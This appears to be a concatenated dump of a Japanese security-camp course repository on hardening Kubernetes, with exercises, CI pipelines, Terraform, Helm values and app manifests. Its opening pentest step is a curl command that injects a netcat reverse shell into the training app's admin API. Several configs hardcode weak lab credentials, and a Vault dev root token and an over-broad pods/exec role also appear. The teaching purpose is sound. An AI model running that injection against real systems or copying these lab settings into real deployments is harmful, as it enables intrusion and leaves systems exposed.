23 | curl "https://app.seccamp.com/api/admin/info?info=nohup%20mkfifo%20/tmp/f%3B%20nc%20$(hostname -I | awk '{print $1}')%204444%20%3C%20/tmp/f%20%7C%20/bin/sh%20%3E%20/tmp/f%202%3E%261%3B%20rm%20/tmp/f%20%26"
24 | ```
25 |
26 |
27 |
28 | ## 課題2: Pirates を使用したペネトレーションテスト
29 |
30 | Kubernetesペネトレーションテストツール「Pirates」を使用して、Kubernetesクラスタとコンテナ化されたアプリケーションのセキュリティ評価を実践的に学習します。
31 |
32 | https://github.com/inguardians/peirates
33 |
34 | ### ステップ
35 | 1. Pirates をインストールし、利用可能なコマンドを検証してみてください
36 |
--------------------------------------------------------------------------------
/app/backend/.gitlab-ci.yml:
--------------------------------------------------------------------------------
1 | stages:
2 | - build
3 |
4 | variables:
5 | HARBOR_REGISTRY: harbor.seccamp.com
6 | HARBOR_PROJECT: seccamp2025
7 | IMAGE_NAME: $HARBOR_REGISTRY/$HARBOR_PROJECT/seccamp-backend
8 | DOCKER_CONFIG: /kaniko/.docker/
9 |
10 | before_script:
11 | - mkdir -p /kaniko/.docker
12 | - |
13 | echo "{ \"auths\": { \"${HARBOR_REGISTRY}\": { \"auth\": \"$(echo -n ${HARBOR_USER}:${HARBOR_PASSWORD} | base64)\" } } }" > /kaniko/.docker/config.json
14 |
15 | build-image:
16 | stage: build
17 | image:
18 | name: gcr.io/kaniko-project/executor:debug
19 | script:
20 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_SHORT_SHA --skip-tls-verify --ignore-path /product_uuid
21 | only:
22 | - main
23 |
24 | build-image-tag:
25 | stage: build
26 | image:
27 | name: gcr.io/kaniko-project/executor:debug
28 | script:
29 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_REF_NAME --skip-tls-verify --ignore-path /product_uuid
30 | only:
31 | - tags
32 |
--------------------------------------------------------------------------------
/app/frontend/.gitlab-ci.yml:
--------------------------------------------------------------------------------
1 | stages:
2 | - build
3 |
4 | variables:
5 | HARBOR_REGISTRY: harbor.seccamp.com
6 | HARBOR_PROJECT: seccamp2025
7 | IMAGE_NAME: $HARBOR_REGISTRY/$HARBOR_PROJECT/seccamp-frontend
8 | DOCKER_CONFIG: /kaniko/.docker/
9 |
10 | before_script:
11 | - mkdir -p /kaniko/.docker
12 | - |
13 | echo "{ \"auths\": { \"${HARBOR_REGISTRY}\": { \"auth\": \"$(echo -n ${HARBOR_USER}:${HARBOR_PASSWORD} | base64)\" } } }" > /kaniko/.docker/config.json
14 |
15 | build-image:
16 | stage: build
17 | image:
18 | name: gcr.io/kaniko-project/executor:debug
19 | script:
20 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_SHORT_SHA --skip-tls-verify --ignore-path /product_uuid
21 | only:
22 | - main
23 |
24 | build-image-tag:
25 | stage: build
26 | image:
27 | name: gcr.io/kaniko-project/executor:debug
28 | script:
29 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --destination $IMAGE_NAME:$CI_COMMIT_REF_NAME --skip-tls-verify --ignore-path /product_uuid
30 | only:
31 | - tags
32 |
--------------------------------------------------------------------------------
/04_hardening/trainings/ransomware.md:
--------------------------------------------------------------------------------
1 | # ランサムウェア対策
2 |
3 | ## 課題1: ランサムウェア脅威の分析
4 |
5 | 効果的な対策を講じるためには、まずランサムウェア攻撃の手法とKubernetes環境特有のリスクを理解する必要があります。
6 |
7 | ### ステップ
8 | 1. Kubernetes環境におけるランサムウェア攻撃の典型的なシナリオを調査してください
9 | - コンテナイメージを介した侵入
10 | - 永続ボリュームの暗号化
11 | - etcdデータストアへの攻撃
12 | 2. 現在の環境でのリスク評価を実施してください
13 | - 攻撃対象となりうるアセットの特定
14 | - 現在の対策状況の評価
15 | 3. ランサムウェア攻撃の影響を評価してください
16 | - ビジネス継続性への影響
17 | - データ損失のリスク
18 | - 復旧にかかる時間とコスト
19 |
20 | ## 課題2: 予防的セキュリティ対策の実装
21 |
22 | ランサムウェア攻撃を受ける前に、攻撃を困難にする予防的な対策を多層的に実装する必要があります。
23 |
24 | ※ 具体的な実装は個別の演習課題で取り扱います。
25 |
26 | ### ステップ
27 | 1. コンテナイメージのセキュリティ強化を実装してください
28 | - 演習: [イメージセキュリティ](./image_security.md)
29 | 2. ランタイムセキュリティ対策を強化してください
30 | - 演習: [ランタイムセキュリティ](./runtime_security.md)
31 | 3. ネットワークセキュリティを強化してください
32 | - 演習: [ネットワークポリシー](./networkpolicy.md)
33 |
34 | ## 課題3: データ保護とバックアップ戦略
35 |
36 | ランサムウェア攻撃からの確実な復旧を可能にするため、堅牢なデータ保護とバックアップシステムが必要です。
37 |
38 | ### ステップ
39 | 1. バックアップ取得の実装方法を調査してください
40 | - データの3つのコピー保持
41 | - 2つの異なる媒体への保存
42 | - 1つのオフサイトまたはエアギャップ保存
43 | 2. バックアップ取得の際に考慮すべきポイントを考えてみてください
44 | - バックアップの保存場所
45 | - バックアップの暗号化
46 | - 復元テストの実施
47 | - etc...
48 | 3. OSSを活用したバックアップ取得を実装してください
49 |
--------------------------------------------------------------------------------
/00_setup/aws/ec2.tf:
--------------------------------------------------------------------------------
1 | module "ec2" {
2 | source = "terraform-aws-modules/ec2-instance/aws"
3 | version = "~> 6.0.2"
4 |
5 | for_each = var.instances
6 |
7 | name = "${var.instance_name}-${var.env}-${each.key}"
8 | ami = var.ami
9 |
10 | instance_type = each.value.instance_type
11 | availability_zone = element(module.vpc.azs, 0)
12 | subnet_id = element(module.vpc.public_subnets, 0)
13 | vpc_security_group_ids = [module.security_group.security_group_id]
14 | iam_instance_profile = aws_iam_instance_profile.ssm_role.name
15 | user_data = var.user_data
16 | enable_volume_tags = false
17 |
18 | metadata_options = {
19 | http_tokens = "required"
20 | }
21 |
22 | root_block_device = {
23 | encrypted = true
24 | type = "gp3"
25 | # throughput = 100
26 | size = each.value.volume_size
27 | tags = local.tags
28 | }
29 |
30 | tags = local.tags
31 | }
32 |
33 | module "security_group" {
34 | source = "terraform-aws-modules/security-group/aws"
35 | version = "~> 4.0"
36 |
37 | name = "seccamp-${var.env}"
38 | vpc_id = module.vpc.vpc_id
39 |
40 | egress_rules = ["all-all"]
41 |
42 | tags = local.tags
43 | }
44 |
--------------------------------------------------------------------------------
/00_setup/scripts/kind-load-certfile.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | # https://text.superbrothers.dev/200313-kind-load-certfiles/
4 | set -e -o pipefail; [[ -n "$DEBUG" ]] && set -x
5 |
6 | CERT_DIR="${CERT_DIR:-"/usr/local/share/ca-certificates"}"
7 |
8 | function usage() {
9 | echo "Usage: $(basename "$0") [-n name] certflie ..." >&2
10 | }
11 |
12 | while getopts n: OPT; do
13 | case $OPT in
14 | n) name="$OPTARG"
15 | ;;
16 | *) usage
17 | exit 1
18 | ;;
19 | esac
20 | done
21 | shift "$((OPTIND - 1))"
22 |
23 | name="${name:-"kind"}"
24 |
25 | if [[ $# -eq 0 ]]; then
26 | usage
27 | exit 1
28 | fi
29 |
30 | containers="$(kind get nodes --name="$name" 2>/dev/null)"
31 | if [[ "$containers" == "" ]]; then
32 | echo "No kind nodes found for cluster \"$name\"" >&2
33 | exit 1
34 | fi
35 |
36 | for container in $containers; do
37 | for certfile in "$@"; do
38 | echo "Copying ${certfile} to ${container}:${CERT_DIR}"
39 | docker cp "$certfile" "${container}:${CERT_DIR}"
40 | done
41 |
42 | echo "Updating CA certificates in ${container}..."
43 | docker exec "$container" update-ca-certificates
44 |
45 | echo "Restarting containerd"
46 | docker exec "$container" systemctl restart containerd
47 | done
48 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/cilium.values.yaml:
--------------------------------------------------------------------------------
1 | # https://docs.cilium.io/en/stable/network/kubernetes/kubeproxy-free/#kubernetes-without-kube-proxy
2 | kubeProxyReplacement: true
3 | k8sServiceHost: kind-control-plane
4 | k8sServicePort: 6443
5 | rollOutCiliumPods: true
6 | # https://docs.cilium.io/en/latest/observability/visibility/#layer-7-protocol-visibility
7 | # endpointStatus:
8 | # enabled: true
9 | # status: policy
10 | gatewayAPI:
11 | enabled: false
12 | ingressController:
13 | enabled: false
14 | operator:
15 | # ensure pods roll when configmap updates
16 | rollOutPods: true
17 | prometheus:
18 | enabled: true
19 | prometheus:
20 | enabled: true
21 | hubble:
22 | enabled: true
23 | relay:
24 | enabled: true
25 | ui:
26 | enabled: true
27 | # Visualization of l7 protocols
28 | podAnnotations:
29 | policy.cilium.io/proxy-visibility: ""
30 | metrics:
31 | enableOpenMetrics: true
32 | enabled:
33 | - dns
34 | - drop
35 | - tcp
36 | - flow
37 | - port-distribution
38 | - icmp
39 | - httpV2:exemplars=true;labelsContext=source_ip,source_namespace,source_workload,destination_ip,destination_namespace,destination_workload,traffic_direction
40 | socketLB:
41 | hostNamespaceOnly: true
42 | cni:
43 | exclusive: false
44 |
--------------------------------------------------------------------------------
/00_setup/aws/environments/prd/main.tf:
--------------------------------------------------------------------------------
1 | module "ec2" {
2 | source = "../../"
3 |
4 | instance_name = "seccamp2025-b4"
5 | env = "prd"
6 | region = "ap-northeast-1"
7 | # aws ssm get-parameters --names /aws/service/canonical/ubuntu/server/22.04/stable/current/amd64/hvm/ebs-gp2/ami-id --region ap-northeast-1 --query "Parameters[0].Value"
8 | ami = "ami-0c48fa60af31d0d5b"
9 | user_data = file("${path.module}/userdata-slim.bash")
10 |
11 | instances = {
12 | "00" = {
13 | instance_type = "m5.2xlarge"
14 | volume_size = 100
15 | }
16 | "01" = {
17 | instance_type = "m5.2xlarge"
18 | volume_size = 100
19 | }
20 | # "02" = {
21 | # instance_type = "m5.2xlarge"
22 | # volume_size = 100
23 | # }
24 | # "03" = {
25 | # instance_type = "m5.2xlarge"
26 | # volume_size = 100
27 | # }
28 | # "04" = {
29 | # instance_type = "m5.2xlarge"
30 | # volume_size = 100
31 | # }
32 | # "05" = {
33 | # instance_type = "m5.2xlarge"
34 | # volume_size = 100
35 | # }
36 | # "06" = {
37 | # instance_type = "m5.2xlarge"
38 | # volume_size = 100
39 | # }
40 | # "07" = {
41 | # instance_type = "m5.2xlarge"
42 | # volume_size = 100
43 | # }
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/vault.values.yaml:
--------------------------------------------------------------------------------
1 | global:
2 | enabled: true
3 | tlsDisable: true
4 |
5 | injector:
6 | enabled: true
7 | resources:
8 | requests:
9 | memory: "256Mi"
10 | cpu: "250m"
11 | limits:
12 | memory: "512Mi"
13 | cpu: "500m"
14 |
15 | server:
16 | # 開発モードで起動
17 | dev:
18 | enabled: true
19 | devRootToken: "root"
20 |
21 | ha:
22 | enabled: false
23 |
24 | dataStorage:
25 | enabled: true
26 | size: 10Gi
27 | storageClass: null
28 | accessMode: ReadWriteOnce
29 |
30 | resources:
31 | requests:
32 | memory: "256Mi"
33 | cpu: "250m"
34 | limits:
35 | memory: "1Gi"
36 | cpu: "500m"
37 |
38 | service:
39 | enabled: true
40 | type: ClusterIP
41 | port: 8200
42 | targetPort: 8200
43 |
44 | ingress:
45 | enabled: true
46 | annotations:
47 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
48 | cert-manager.io/cluster-issuer: "root-ca-issuer"
49 | ingressClassName: nginx
50 | hosts:
51 | - host: vault.seccamp.com
52 | paths:
53 | - /
54 | tls:
55 | - secretName: vault-tls
56 | hosts:
57 | - vault.seccamp.com
58 |
59 | ui:
60 | enabled: true
61 | serviceType: ClusterIP
62 | serviceNodePort: null
63 | externalPort: 8200
64 |
--------------------------------------------------------------------------------
/app/infra/manifests/ingress.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: networking.k8s.io/v1
2 | kind: Ingress
3 | metadata:
4 | name: app-frontend-ingress
5 | namespace: seccamp-app
6 | annotations:
7 | cert-manager.io/cluster-issuer: root-ca-issuer
8 | ingress.kubernetes.io/ssl-redirect: "true"
9 | spec:
10 | ingressClassName: nginx
11 | rules:
12 | - host: app.seccamp.com
13 | http:
14 | paths:
15 | - backend:
16 | service:
17 | name: frontend
18 | port:
19 | number: 80
20 | path: /
21 | pathType: Prefix
22 | tls:
23 | - hosts:
24 | - app.seccamp.com
25 | secretName: app-seccamp-com-tls
26 | ---
27 | apiVersion: networking.k8s.io/v1
28 | kind: Ingress
29 | metadata:
30 | name: app-backend-ingress
31 | namespace: seccamp-app
32 | annotations:
33 | cert-manager.io/cluster-issuer: root-ca-issuer
34 | ingress.kubernetes.io/ssl-redirect: "true"
35 | nginx.ingress.kubernetes.io/rewrite-target: /$1
36 | spec:
37 | ingressClassName: nginx
38 | rules:
39 | - host: app.seccamp.com
40 | http:
41 | paths:
42 | - backend:
43 | service:
44 | name: backend
45 | port:
46 | number: 8000
47 | path: /api/(.*)
48 | pathType: Prefix
49 | tls:
50 | - hosts:
51 | - app.seccamp.com
52 | secretName: app-seccamp-com-tls
53 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Local working directories
2 | .local/
3 |
4 | # Local .terraform directories
5 | .terraform/
6 |
7 | # .tfstate files
8 | *.tfstate
9 | *.tfstate.*
10 |
11 | # .terraform.lock files
12 | .terraform.lock.hcl
13 |
14 | # Crash log files
15 | crash.log
16 | crash.*.log
17 |
18 | # Exclude all .tfvars files, which are likely to contain sensitive data, such as
19 | # password, private keys, and other secrets. These should not be part of version
20 | # control as they are data points which are potentially sensitive and subject
21 | # to change depending on the environment.
22 | *.tfvars
23 | *.tfvars.json
24 |
25 | # Ignore override files as they are usually used to override resources locally and so
26 | # are not checked in
27 | override.tf
28 | override.tf.json
29 | *_override.tf
30 | *_override.tf.json
31 |
32 | # Ignore transient lock info files created by terraform apply
33 | .terraform.tfstate.lock.info
34 |
35 | # Include override files you do wish to add to version control using negated pattern
36 | # !example_override.tf
37 |
38 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan
39 | # example: *tfplan*
40 |
41 | # Ignore CLI configuration files
42 | .terraformrc
43 | terraform.rc
44 |
45 | # Application
46 | app/frontend/node_modules/
47 | app/backend/backend
48 | app/frontend/*.tsbuildinfo
49 |
50 |
51 | # Others
52 | .DS_Store
53 | *.log
54 | *.cache
55 | *.db
56 | .env
57 |
--------------------------------------------------------------------------------
/04_hardening/training.md:
--------------------------------------------------------------------------------
1 | # 演習4 セキュリティ対策の導入
2 |
3 | 以下の演習課題の中から選ぶか、3章で検討したセキュリティ対策を実施してみましょう。
4 |
5 | ## 演習課題一覧
6 |
7 | 1. **[アドミッションコントロール](./trainings/admission_control.md)**: 難易度⭐︎⭐︎
8 | - Pod Security Admission(PSA)の設定
9 | - Validating Admission Policyの実装
10 |
11 | 2. **[ネットワークポリシー](./trainings/networkpolicy.md)**: 難易度⭐︎
12 | - 基本的なNetwork Policyの実装
13 | - Cilium Network Policyの活用
14 |
15 | 3. **[イメージセキュリティ](./trainings/image_security.md)**: 難易度⭐︎
16 | - コンテナイメージの脆弱性調査と修正
17 | - Distrolessイメージへの移行
18 | - CIでの自動脆弱性スキャン
19 | - イメージ署名と検証の実装
20 | - 実行環境のイメージ脆弱性管理
21 |
22 | 4. **[シークレット管理](./trainings/secret_management.md)**: 難易度⭐︎⭐︎⭐︎⭐︎
23 | - HashiCorp Vaultの導入
24 | - External Secrets Operatorの導入
25 |
26 | 5. **[認証・認可](./trainings/auth.md)**: 難易度⭐︎⭐︎⭐︎⭐︎
27 | - OIDC 認証の実装
28 | - 細やかなRBAC設計
29 |
30 | 6. **[ランタイムセキュリティ](./trainings/runtime_security.md)**: 難易度⭐︎⭐︎⭐︎
31 | - Tetragonによるプロセス監視
32 | - 監査ログの設定とアラート
33 | - コンテナランタイムセキュリティ
34 |
35 | 7. **[Kubernetesセキュリティポスチャー管理(KSPM)](./trainings/kspm.md)**: 難易度⭐︎
36 | - 現在のセキュリティポスチャーの評価
37 | - 高優先度のセキュリティ問題の修正
38 | - 継続的なコンプライアンス監視の検討
39 |
40 | 8. **[インシデント対応](./trainings/incident_response.md)**: 難易度⭐︎⭐︎⭐︎
41 | - 不審なPodの発見と初期対応、再発防止策の検討
42 |
43 | 9. **[ランサムウェア対策](./trainings/ransomware.md)**: 難易度⭐︎⭐︎
44 | - ランサムウェア脅威の分析
45 | - 予防的セキュリティ対策の実装
46 | - データ保護とバックアップ戦略
47 |
48 | 10. **[ペネトレーションテスト](./trainings/pentest.md)**: 難易度⭐︎⭐︎
49 | - シナリオに沿った攻撃演習
50 | - Pirates の検証
51 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/external-secrets.values.yaml:
--------------------------------------------------------------------------------
1 | installCRDs: true
2 |
3 | replicaCount: 1
4 |
5 | image:
6 | repository: ghcr.io/external-secrets/external-secrets
7 | pullPolicy: IfNotPresent
8 | # tag: latest
9 |
10 | resources:
11 | limits:
12 | cpu: 100m
13 | memory: 128Mi
14 | requests:
15 | cpu: 10m
16 | memory: 64Mi
17 |
18 | securityContext:
19 | allowPrivilegeEscalation: false
20 | readOnlyRootFilesystem: true
21 | runAsNonRoot: true
22 | runAsUser: 65534
23 | capabilities:
24 | drop:
25 | - ALL
26 |
27 | podSecurityContext:
28 | runAsNonRoot: true
29 | runAsUser: 65534
30 | fsGroup: 65534
31 |
32 | serviceAccount:
33 | create: true
34 | annotations: {}
35 | name: ""
36 |
37 | webhook:
38 | create: true
39 | certCheckInterval: "5m"
40 | certDir: /tmp/k8s-webhook-server/serving-certs
41 | image:
42 | repository: ghcr.io/external-secrets/external-secrets
43 | pullPolicy: IfNotPresent
44 |
45 | resources:
46 | limits:
47 | cpu: 100m
48 | memory: 128Mi
49 | requests:
50 | cpu: 10m
51 | memory: 64Mi
52 |
53 | certController:
54 | create: true
55 | requeueInterval: "5m"
56 | image:
57 | repository: ghcr.io/external-secrets/external-secrets
58 | pullPolicy: IfNotPresent
59 |
60 | resources:
61 | limits:
62 | cpu: 100m
63 | memory: 128Mi
64 | requests:
65 | cpu: 10m
66 | memory: 64Mi
67 |
68 | metrics:
69 | listen:
70 | port: 8080
71 |
72 | logLevel: info
73 |
74 | concurrent: 1
75 |
--------------------------------------------------------------------------------
/app/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.8'
2 | services:
3 | db:
4 | image: mariadb:11.3
5 | # image: cgr.dev/chainguard/mariadb:latest
6 | container_name: seccamp-db
7 | environment:
8 | MYSQL_ROOT_PASSWORD: password
9 | MYSQL_DATABASE: seccamp2025
10 | MYSQL_USER: rootuser
11 | MYSQL_PASSWORD: password
12 | ports:
13 | - "3306:3306"
14 | volumes:
15 | - ./db/init-english.sql:/docker-entrypoint-initdb.d/init.sql
16 | # - ./db/init.sql:/docker-entrypoint-initdb.d/init.sql
17 | restart: unless-stopped
18 |
19 | backend:
20 | build:
21 | context: ./backend
22 | dockerfile: Dockerfile.dev
23 | container_name: seccamp-backend
24 | environment:
25 | DB_HOST: db
26 | DB_PORT: 3306
27 | DB_USER: rootuser
28 | DB_PASSWORD: password
29 | DB_NAME: seccamp2025
30 | ports:
31 | - "8000:8000"
32 | depends_on:
33 | - db
34 | command: ["/bin/sh", "-c", "chmod +x ./wait-for-it.sh && ./wait-for-it.sh db:3306 -- ./backend"]
35 | restart: unless-stopped
36 |
37 | frontend:
38 | build:
39 | context: ./frontend
40 | dockerfile: Dockerfile.dev
41 | container_name: seccamp-frontend
42 | ports:
43 | - "3000:3000"
44 | volumes:
45 | - ./frontend:/app
46 | - /app/node_modules
47 | working_dir: /app
48 | command: ["npm", "start"]
49 | depends_on:
50 | - backend
51 | environment:
52 | - REACT_APP_API_URL=http://localhost:8000
53 | restart: unless-stopped
54 |
--------------------------------------------------------------------------------
/04_hardening/trainings/runtime_security.md:
--------------------------------------------------------------------------------
1 | # ランタイムセキュリティ
2 |
3 | ## 課題1: Tetragonによるプロセス監視と制限
4 |
5 | コンテナ内での不正なプロセス実行や権限昇格攻撃を検出するため、eBPFベースのランタイム監視と制限を実装します。
6 |
7 | 参考: [seccamp2024-B6 - コンテナプロセスの監視と強制 (Tetragon)](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch04_hardening_k8s/training.md#%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E3%81%AE%E7%9B%A3%E8%A6%96%E3%81%A8%E5%BC%B7%E5%88%B6-tetragon)
8 |
9 | ### ステップ
10 | 1. 以下のポリシーを作成してください
11 | - 予期しないシェル(bash、sh)の実行
12 | - 権限昇格の試行(sudo、su コマンド)
13 | - 想定していない外部通信の禁止
14 | - システムファイルへの書き込み試行
15 | 2. **[発展]** Tetragonのアラートをログ収集システムに統合してください
16 |
17 | ## 課題2: 監査ログの設定とアラート
18 |
19 | Kubernetes APIサーバーの監査ログから不審な活動を検出し、迅速な対応を可能にするアラートシステムが必要です。
20 |
21 | 参考: [seccamp2024-B6 - 監査ログの確認](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch04_hardening_k8s/training.md#%E7%9B%A3%E6%9F%BB%E3%83%AD%E3%82%B0%E3%81%AE%E7%A2%BA%E8%AA%8D)
22 |
23 | ### ステップ
24 | 1. Kubernetes監査ログが有効になっており、Grafana上で可視化されていることを確認してください
25 | 2. 以下のイベントを検出するログアラートを設定してください
26 | - 権限のないリソースへのアクセス試行
27 | - シークレットやConfigMapへの不正アクセス
28 | - クラスタレベルの権限変更
29 | 3. **[発展]** 偽陽性を減らすためのフィルタリングルールを検討してください
30 | 4. **[発展]** khi (https://github.com/GoogleCloudPlatform/khi) でログの可視化を試してみましょう
31 |
32 | ## 課題3: コンテナランタイムセキュリティ
33 |
34 | 参考: [seccamp2024-B6 - seccomp の設定](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch04_hardening_k8s/training.md#seccomp-%E3%81%AE%E8%A8%AD%E5%AE%9A)
35 |
36 | ### ステップ
37 | 1. seccompプロファイルを活用してシステムコールを制限してください
38 | 2. **[発展]** ルートレスコンテナの導入を検討してください
39 | 3. **[発展]** コンテナランタイム(containerd)のセキュリティ設定を強化してください
40 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Kubernetesで学ぶクラウドネイティブ時代のプラットフォームセキュリティ
2 |
3 | [セキュリティ・キャンプ2025 全国大会](https://www.ipa.go.jp/jinzai/security-camp/2025/camp/zenkoku/index.html) B4の講義資料です。
4 |
5 | ※ 内容は今後アップデートされる可能性があります。
6 |
7 | ## 概要
8 |
9 | 現代のソフトウェア開発は、クラウドネイティブなアプローチへと急速に移行しています。コンテナ化やマイクロサービス、Kubernetesなどのオーケストレーション技術の採用により、開発速度とスケーラビリティは劇的に向上しました。しかし一方で、新たなセキュリティリスクへの対応も不可欠となります。本講義では、プラットフォーム提供者の視点に立ち、Kubernetesにおける安全なプラットフォームの構築・運用を実践的に学びます。
10 |
11 | 受講生は、実際にKubernetesクラスタに触れながら、ハンズオン形式でセキュリティ対策を実装します。潜在的な脅威と対策への理解を深め、開発ライフサイクル全体を意識した適切なセキュリティ対策を選定・実装する能力を養います。
12 |
13 | ## 対象者・前提知識
14 |
15 | - Linuxの基本的なコマンド操作ができる方
16 | - Dockerの基本概念を理解している方
17 | - Kubernetesの基本的な概念(Pod、Service、Deploymentなど)を知っている方
18 | - クラウドネイティブ環境のセキュリティに興味がある方
19 |
20 | ## 学習目標
21 |
22 | 受講生は本講義を通じて以下を習得します。
23 |
24 | - クラウドネイティブおよびコンテナ、Kubernetesセキュリティの基本概念
25 | - プラットフォーム全体を保護するためのセキュリティの観点
26 | - OSSを活用したセキュリティ対策の実践
27 |
28 | ## 章構成
29 |
30 | ### [1章 シナリオ説明](./01_scenario)
31 | 講義全体のシナリオ設定と学習の流れを説明します。架空の企業におけるプラットフォームのセキュリティ対策という、現実的な設定で学習を進めます。
32 |
33 | ### [2章 クラウドネイティブセキュリティの基礎](./02_cloud_native_sec)
34 | コンテナとKubernetesにおけるセキュリティの基本概念、クラウドネイティブセキュリティのフレームワークを学習します。
35 |
36 | ### [3章 セキュリティアセスメント](./03_security_assessment)
37 | 基本的なセキュリティの観点や脅威モデリングなどの手法を通じて、プラットフォームのセキュリティアセスメントについて学習します。
38 |
39 | ### [4章 セキュリティ対策の導入](./04_hardening)
40 | 演習環境で具体的なセキュリティ対策ツールの導入と設定を行います。
41 |
42 | ## 環境セットアップ
43 |
44 | [セットアップ手順](./00_setup/README.md) を参照してください。
45 |
46 | ## 注意事項
47 |
48 | - この講義資料は教育目的で作成されています
49 | - 演習環境は講義用に簡略化されています。実際の本番環境での運用時は、各組織のセキュリティポリシーに従って適切に調整してください
50 |
51 | ---
52 |
53 | ## License
54 |
55 | Apache License Version 2.0
56 |
--------------------------------------------------------------------------------
/app/infra/manifests/backend-deployment.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: apps/v1
2 | kind: Deployment
3 | metadata:
4 | name: backend
5 | namespace: seccamp-app
6 | spec:
7 | replicas: 1
8 | selector:
9 | matchLabels:
10 | app: backend
11 | template:
12 | metadata:
13 | labels:
14 | app: backend
15 | spec:
16 | serviceAccountName: backend-sa
17 | containers:
18 | - name: backend
19 | image: harbor.seccamp.com/seccamp2025/seccamp-backend:v1.0
20 | imagePullPolicy: Always
21 | ports:
22 | - containerPort: 8000
23 | env:
24 | - name: DB_HOST
25 | value: "db"
26 | - name: DB_PORT
27 | value: "3306"
28 | - name: DB_USER
29 | value: "root"
30 | - name: DB_PASSWORD
31 | value: "password"
32 | - name: DB_NAME
33 | value: "seccamp2025"
34 | imagePullSecrets:
35 | - name: harbor-cred
36 | ---
37 | apiVersion: v1
38 | kind: ServiceAccount
39 | metadata:
40 | name: backend-sa
41 | namespace: seccamp-app
42 | ---
43 | apiVersion: rbac.authorization.k8s.io/v1
44 | kind: Role
45 | metadata:
46 | name: backend-role
47 | namespace: seccamp-app
48 | rules:
49 | - apiGroups: [""]
50 | resources: ["pods"]
51 | verbs: ["create", "list", "get"]
52 | - apiGroups: [""]
53 | resources: ["pods/exec"]
54 | verbs: ["create"]
55 | ---
56 | apiVersion: rbac.authorization.k8s.io/v1
57 | kind: RoleBinding
58 | metadata:
59 | name: backend-rolebinding
60 | namespace: seccamp-app
61 | subjects:
62 | - kind: ServiceAccount
63 | name: backend-sa
64 | namespace: seccamp-app
65 | roleRef:
66 | kind: Role
67 | name: backend-role
68 | apiGroup: rbac.authorization.k8s.io
69 |
--------------------------------------------------------------------------------
/app/backend/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/kyohmizu/seccamp2025-B4/app/backend
2 |
3 | go 1.23.0
4 |
5 | toolchain go1.24.5
6 |
7 | require github.com/gin-gonic/gin v1.10.1
8 |
9 | require (
10 | filippo.io/edwards25519 v1.1.0 // indirect
11 | github.com/bytedance/sonic v1.13.3 // indirect
12 | github.com/bytedance/sonic/loader v0.2.4 // indirect
13 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect
14 | github.com/cloudwego/base64x v0.1.5 // indirect
15 | github.com/gabriel-vasile/mimetype v1.4.9 // indirect
16 | github.com/gin-contrib/cors v1.7.6 // indirect
17 | github.com/gin-contrib/sse v1.1.0 // indirect
18 | github.com/go-playground/locales v0.14.1 // indirect
19 | github.com/go-playground/universal-translator v0.18.1 // indirect
20 | github.com/go-playground/validator/v10 v10.26.0 // indirect
21 | github.com/go-sql-driver/mysql v1.9.3 // indirect
22 | github.com/goccy/go-json v0.10.5 // indirect
23 | github.com/json-iterator/go v1.1.12 // indirect
24 | github.com/klauspost/cpuid/v2 v2.2.10 // indirect
25 | github.com/leodido/go-urn v1.4.0 // indirect
26 | github.com/mattn/go-isatty v0.0.20 // indirect
27 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
28 | github.com/modern-go/reflect2 v1.0.2 // indirect
29 | github.com/pelletier/go-toml/v2 v2.2.4 // indirect
30 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
31 | github.com/ugorji/go/codec v1.3.0 // indirect
32 | golang.org/x/arch v0.18.0 // indirect
33 | golang.org/x/crypto v0.39.0 // indirect
34 | golang.org/x/net v0.41.0 // indirect
35 | golang.org/x/sys v0.33.0 // indirect
36 | golang.org/x/text v0.26.0 // indirect
37 | google.golang.org/protobuf v1.36.6 // indirect
38 | gopkg.in/yaml.v3 v3.0.1 // indirect
39 | )
40 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/keycloak.values.yaml:
--------------------------------------------------------------------------------
1 | # https://github.com/bitnami/charts/blob/main/bitnami/keycloak/values.yaml
2 |
3 | replicaCount: 1
4 | service:
5 | type: ClusterIP
6 | port: 8080
7 | httpsPort: 8443
8 | postgresql:
9 | enabled: true
10 | auth:
11 | postgresPassword: keycloak
12 | password: keycloak
13 | username: keycloak
14 | database: keycloak
15 | extraEnvVars:
16 | - name: KEYCLOAK_ADMIN
17 | value: admin
18 | - name: KEYCLOAK_ADMIN_PASSWORD
19 | value: admin
20 | - name: KC_HOSTNAME
21 | value: keycloak.seccamp.com
22 | # - name: KC_HTTPS_PORT
23 | # value: "8443"
24 | # - name: KC_HOSTNAME_URL
25 | # value: https://keycloak.seccamp.com
26 | - name: KC_HOSTNAME_STRICT
27 | value: "true"
28 | - name: KC_HTTP_ENABLED
29 | value: "true"
30 | - name: PROXY_ADDRESS_FORWARDING
31 | value: "true"
32 | - name: KC_PROXY_ADDRESS_FORWARDING
33 | value: "true"
34 | - name: KC_PROXY
